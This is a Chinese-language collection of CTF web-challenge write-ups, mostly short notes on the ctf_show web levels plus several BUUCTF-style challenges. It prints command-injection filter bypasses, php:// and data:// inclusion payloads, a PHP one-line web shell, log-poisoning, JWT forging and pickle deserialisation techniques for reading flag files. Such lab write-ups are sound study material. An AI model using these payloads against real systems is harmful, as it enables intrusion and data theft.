用工具扫描到了备份文件,注意要用单线程去扫描,多线程没有扫到,可能是因为靶场带宽不够导致的

以下是备份文件里的内容,是PHP代码,开始代码审计吧

使用python脚本爆破出$admin == substr(md5($_POST['password']),0,6)

爆破出密码是2020666,发送数据包并发现了一个url

image-20210603193457031

访问url,返回了用户信息、时间还有ip

image-20210603193603502

这三个字段信息肯定有可以利用的地方,先试试XFF字段,看看是否有SQL注入或者SSTI,很失望并不存在相关漏洞,看了别人的WP才知道原来是shtml后缀存在SSI 远程命令执行漏洞

payload:

image-20210603195102156
image-20210603195158456

[MRCTF2020]PYWebsite

直接访问flag.php

image-20210604105744125

提示验证在后端,所以前面那个前端验证没用(也正常,前端验证都可以直接修改) 购买者的ip已经被记录,本地可以看到flag,那么使用xff或者client-ip伪造一下ip试试。 bp抓包

image-20210604105917424

[GYCTF2020]FlaskApp

发现了一个隐藏的文本框,看名字里面应该是token

image-20210604110714076

hint文件注释:提示PIN,没太懂什么意思

image-20210604111527985

看了别人的WP发现,原来是Flask框架的SSTI漏洞利用,故意在decode解码输入无法解开的字母,就会产生错误信息

image-20210604112931832

根据上述代码,发现了SSTI漏洞,还有一个waf方法,估计下面得绕过waf方法

这个是python3版本,flask框架的ssti

base64编码:

image-20210606185313613

base64解码:竟然被过滤了

image-20210606185400405

读取app.py源码

payload:

waf黑名单:

那么我们可以利用字符串拼接找目录与执行命令。 扫描根目录/:

image-20210606191445511

发现了this_is_the_flag.txt 读取this_is_the_flag.txt: 由于waf过滤了flag,所以我们对“flag”进行拼接:

或者使用列表把this_is_the_flag.txt倒转读取

得到flag:

image-20210606191545039

[CISCN2019 华北赛区 Day1 Web2]ikun

image-20210605203325092

提示找到V6,写个python脚本跑一下找到v6

使用脚本成功在181页找到v6

image-20210605204527451

点击购买显示被禁止,抓包看看,v6的价格很高,应该自己没有注册账号,而且账号里面只有1000金币

image-20210605204957715
image-20210605205055176

在数据包中发现了打折的数据,优惠20%在数据包中就是显示0.8,我们修改数据,让1000金币可以买的到v6就可以了

image-20210605205840340

访问该页面,显示只有admin可以访问,看到了JWT,可以修改JWT数据来修改成admin权限

image-20210605205932071

使用c-jwt-cracker工具破解出密钥是“1Kun”,并把用户名改为admin,生成新的JWT,

image-20210606195049928

image-20210605213706530成功进入,查看源码发现了源代码文件,下载下来

image-20210605213722036

下面没有思路了,对python代码审计经验不多。查看别人的wp说存在序列化漏洞

Admin.py里面有反序列化操作,python反序列化以前没有遇到过

admin.py

p = pickle.loads(urllib.unquote(become))

urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式 pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

我看了师傅们的博客之后的理解就是,我们构建一个类,类里面的__reduce__ python魔术方法会在该类被反序列化的时候会被调用

当__reduce__被定义之后,该对象被Pickle时就会被调用

我们这里的eval用于重建对象的时候调用,即告诉python如何pickle他们

供eval使用的即打开的文件flag.txt

反序列化payload:

image-20210605214633602
image-20210605214621038

pickle序列化:

pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。

pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化, pickle序列化后的数据,可读性差,人一般无法识别。

官方文档中说过,pickle是个不安全的模块,永远别去反序列化不信任的数据。

这一切都是因为reduce 魔术方法,它在序列化的时候会完全改变被序列化的对象,这个方法相当的强大,官方建议不要直接操作这个方法。

[WUSTCTF2020]颜值成绩查询

存在SQL盲注,并且过滤了空格

image-20210607193928878
image-20210607193916226

使用python脚本:

获取当前数据库名称:

image-20210607194439553

获取所有数据库的名称:

image-20210607195103862

获取数据库中所有表:

image-20210607195231830

获取ctf.flag表中的所有字段:

image-20210607195355811

获取ctf.flag表中的所有内容:

image-20210607195749205

成功获得flag

[强网杯 2019]Upload

先注册一个账号,再登陆

image-20210609111523422
image-20210609112927339
image-20210609112919210

[BSidesCF 2019]Futurella

flag就是首页注释中,略过

[CISCN2019 华北赛区 Day1 Web1]Dropbox

先注册登录

image-20210609191151614
image-20210609191212696

class.php代码

delete.php:

payload:

image-20210609212842922

https://xz.aliyun.com/t/2715

[MRCTF2020]套娃

image-20210610135112036

查看源码发现了注释

$_SERVER["QUERY_STRING"]

  说明:查询(query)的字符串

例子:http://www.xxx.com/index.php?p=222&q=uarrow-up-right

  结果:

  $_SERVER["QUERY_STRING"] = “p=222&q=u”

img

绕过_和正则表达式。payload:用%20代替_ 用%0a(换行符的url编码)绕过正则表达式

image-20210610140619452

secrettw.php

image-20210610140656666

注释是jsFuck,在控制台执行

image-20210610141708586

post一个参数,还要修改XFF为127.0.0.1

image-20210610141735986

2333参数传递利用php的data伪协议

change函数payload:

最终的payload:

image-20210610145451388

[极客大挑战 2019]RCE ME

取反绕过正则匹配 https://blog.csdn.net/qq_45691294/article/details/109402769

URL编码取反绕过

image-20210610214743519

异或绕过

递增递减运算符绕过

[GWCTF 2019]枯燥的抽奖

[BSidesCF 2019]Kookie

image-20210611125348977

使用用户名:cookie 密码:monster成功登录

image-20210611125448671

但是是以cookie登录的,页面要求使用admin登录。所以抓包

image-20210611125535299

抓包发现了set-cookie中存在username字段,于是在数据包请求头添加了一个字段: username=admin

成功获得flag

image-20210611125705017

[CISCN2019 总决赛 Day2 Web1]Easyweb

image-20210615160457431
image-20210615160511256
image-20210615160535082
image-20210615160557512

payload:

image-20210615164347563
image-20210615164410697

不能上传php文件,解决办法:

image-20210615165244565

好像上面不行,打开页面是个PHP文件,内容是用户上传了一个名称XXX的文件,所有我们要把一句话木马写在文件名字中

image-20210615165853585

用蚁剑连接成功即可

image-20210615165924562

[FBCTF2019]RCEService(。。。。)

[Zer0pts2020]Can you guess it?

[CISCN2019 华北赛区 Day1 Web5]CyberPunk(。。。。)

[RCTF2015]EasySQL

image-20210702134406604
image-20210702134426127

[网鼎杯 2018]Comment

宽字节注入

ctf_show web32

过滤了分号

eval函数还怎么执行呢?

嵌套文件包含,利用伪协议文件包含,再base64解码

没有分号,最后一个语句可以使用?>来绕,没有空格可以用%0a来绕过

payload:?c=include%0a$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

但是如果直接包含flag.php,发现啥都没有,因为flag.php包含进去了,但是并没有输出,所以要用伪协议再base64解码

注意,如果include被过滤了,可以用require来代替

ctf_show web33

payload:

ctf_show web34

payload同上一关卡

ctf_show web35

payload同上一关卡

ctf_show web36

payload:

ctf_show web37

payload:

ctf_show web38

payload:

ctf_show web39

payload:

base64编码并不能执行成功,原因应该是

$c参数内容和.php内容拼接,导致base64不能解码成功

c=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+.php

ctf_show web40

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

ctf_show web41。。。

payload: 利用或运算构造字符绕过限制

https://blog.csdn.net/miuzzx/article/details/108569080

ctf_show web42

payload:

题目把传入的值,执行的标准输出和错误输出的结果都丢弃掉

; || & && 等符号都可以绕过

cat flag.php ;

ctf_show web43

payload:

?c=more flag.php||

ctf_show web44

payload:

?c=more fla*||

ctf_show web45

payload:

?c=more$IFS$1fla*||

ctf_show web46

?c=more<fla''g.php||

ctf_show web47

c=nl<fla''g.php||

ctf_show web48

c=nl<fla''g.php||

ctf_show web49

payload:

?c=nl<fla''g.php||

ctf_show web50

?c = nl<fla''g.php||

ctf_show web51

?c=nl<fla’’g.php||

ctf_show web52

?c=nl${IFS}fla''g.php||

ctf_show web53

?c=nl${IFS}fla''g.php

ctf_show web54

?c=/bin/?at${IFS}f???????

ctf_show web55

参考P神博客arrow-up-right

利用 . 符号执行sh脚本文件

利用思路:

post方法去上传一个sh脚本文件,这个sh文件里的内容就是我们的exp;并且这个sh文件被post方法上传后被暂时放到了/tmp/目录下,文件名为/tmp/phpXXXXXX ;所以get方法的参数C就是匹配刚才上传的sh文件并执行其中的payload;

现在先构造一个post上传文件的html代码:

抓包利用:image-20220817122515628

获得flag

image-20220817122605180

ctf_show web56

没有过滤 / ? [ ] @ 所以做题方法与上一关一致

image-20220817123351645

ctf_show web57

使用$(())构造数字

注意的是:${_}会输出上一次的执行结果

image-20220817125316262
image-20220817125359085

python payload:

image-20220817125858995

ctf_show web58

payload:

image-20220817130839035
image-20220817131033111

ctf_show web59

payload:

c=show_source(“flag.php”);

ctf_show web60

代码和上一关一样,跳过

ctf_show web61

代码和上一关一样,跳过

ctf_show web62

代码和上一关一样,跳过

ctf_show web63

代码和上一关一样,跳过

ctf_show web64

代码和上一关一样,跳过

ctf_show web65

代码和上一关一样,跳过

ctf_show web66

payload:

c=print_r(scandir("/"));

image-20220817132447916

c=highlight_file("/flag.txt");

image-20220817132638583

ctf_show web67

c=var_dump(scandir("/"));

c=highlight_file("/flag.txt");

ctf_show web68

c=include("/flag.txt");

ctf_show web69

c=include("/flag.txt");

ctf_show web70

c=include("/flag.txt");

ctf_show web71

c=include("/flag.txt");exit();

执行完获取flag的命令,后面的语句不执行,强制退出

ctf_show web72

先查询到flag文件的位置,找到 flag0.txt 文件

使用glob://伪协议绕过open_basedir

想读文件发现没有权限

uaf绕过open_basedir执行命令 poc(需要url编码)

payload:

ctf_show web73

先用 查询到flagc.txt文件

payload1:

c=include('/flagc.txt');exit(0);

ctf_show web74

方法同上一道题

ctf_show web75

通过payload扫描 flag36.txt

UAF 绕过失败;用mysql的load_file读取文件

ctf_show web76

image-20220818112639624

payload脚本与上一关一样

ctf_show web77(*)

image-20220818112902182

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

自己没有执行成功

ctf_show web118 。。。。

image-20220819151718181

注释发现:

image-20220819151811829

源码提示system执行输入的参数,发现会显示evil input

临时写的fuzz脚本测试未过滤的字符

结果为:

白名单为: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_@#$.空格?

$ 花括号和大写字母未被过滤

拿$PWD举例

拼接出nl

payload:

image-20220819165315048

ctf_show web119

image-20220819165603533

继续使用上一关的FUZZ测试脚本 测试过滤了那些字符串

白名单为: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_@#$.空格?

PATH不能用了

可以拼接/bin/base64 或者/bin/cat

image-20220819171136266

ctf_show web120

ctf_show web121

发现过滤挺多的,不过还是可以拼接/bin/base64

payload:

image-20220819173119942

ctf_show web122

写个脚本多尝试几次

ctf_show web124 。。。。

ctf_show web78

payload:

ctf_show web79

尝试使用:

data://text/plain;base64,

payload:

ctf_show web80

利用文件包含的特性,会渲染任何文件类型为php类型并渲染;所以去访问/var/log/ngin/access.log,抓包修改UA值为一句话木马,蚁剑连接就可以成功

image-20220812124246065
image-20220812124258539

ctf_show web81

看过滤条件可以和上一关一样,利用访问日志文件获得webshell

ctf_show web82 。。。

利用条件竞争

ctf_show web89

preg_match()函数:判断输入的值是否存在指定字符

preg_match()函数一个漏洞 无法处理数组

?num[]=9

ctf_show web90

?num=4476a

ctf_show web91

i表示大小写都匹配,m表示多行匹配。然后我们可以构建 ?cmd=php%0a1或者?cmd=%0aphp来表示因为缺少了多行的读取的能力就表示了他可以看成一行

ctf_show web92

与90关不同,这里对输入的num进行若比较 “4476a”==4476

用字母e绕过,他代表科学计数法,这样子可以绕过第一个判断的限制,但是intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取,绕过intval()只会读取e前面的数字,所以此题得解。

payload:

ctf_show web93

进制转换绕过:

用4476的8进制数来绕过

过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ????

?num=010574

ctf_show web94

strpos限制了第一个字符不能为0

payload:

?num=4476.0

ctf_show web95

在传入的字符串的最前面加上一个空格或者+即可

payload:

?num= 010574

ctf_show web96

?u=./flag.php

ctf_show web97

a[]=1&b[]=2

ctf_show web98

get方法和post方法都提交:HTTP_FLAG=flag

ctf_show web99

payload: get : ?n=1.php post:content=<?php system($_POST[1]);?>

image-20220816150226185
image-20220816150238336

ctf_show web100

payload: 把(ctfshow)注释掉

?v1=21&v2=var_dump($ctfshow)/&v3=/;

image-20220816152559524

ctf_show web101

?v1=2&v2=echo new Reflectionclass&v3=;

反射类技术

ctf_show web102

ctf_show web103

ctf_show web104

ctf_show web105

ctf_show web106

ctf_show web107

ctf_show web108

ctf_show web151

修改前端字段即可

image-20220817134347580

ctf_show web152

修改前端 和 content-type字段

image-20220817134636020

ctf_show web153

ctf_show web154

ctf_show web153

ctf_show web153

ctf_show web153

ctf_show web153

ctf_show web153

ctf_show web259

Last updated